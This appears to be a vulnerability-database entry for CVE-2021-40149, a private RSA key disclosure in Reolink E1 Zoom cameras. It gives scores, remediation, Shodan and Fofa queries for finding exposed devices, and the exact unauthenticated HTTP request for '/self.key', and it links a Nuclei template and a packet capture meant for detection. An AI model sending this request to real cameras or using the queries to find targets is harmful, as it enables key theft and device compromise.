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CVE-2021-40149: Reolink E1 Zoom Camera <=3.0.0.716 - Private Key Disclosure

TitleReolink E1 Zoom Camera <=3.0.0.716 - Private Key Disclosure
AuthorFor3stCo1d
SeverityMedium
ImpactAn attacker can obtain the private key, potentially leading to unauthorized access and compromise of the camera.
RemediationUpgrade the Reolink E1 Zoom Camera to a version higher than 3.0.0.716 to mitigate the vulnerability.
CVSS Score5.9
EPSS Score0.59239
CVE IDCVE-2021-40149
CWE IDCWE-552
Shodan Queryhttp.title:"Reolink"
Fofa Querytitle="reolink"
Tags cve2021 cve exposure unauth packetstorm reolink camera iot vuln

🔍 Vulnerability Description

Reolink E1 Zoom Camera versions 3.0.0.716 and below suffer from a private key (RSA) disclosure vulnerability.

🌐 HTTP Request

GET /self.key HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40149.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-40149.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A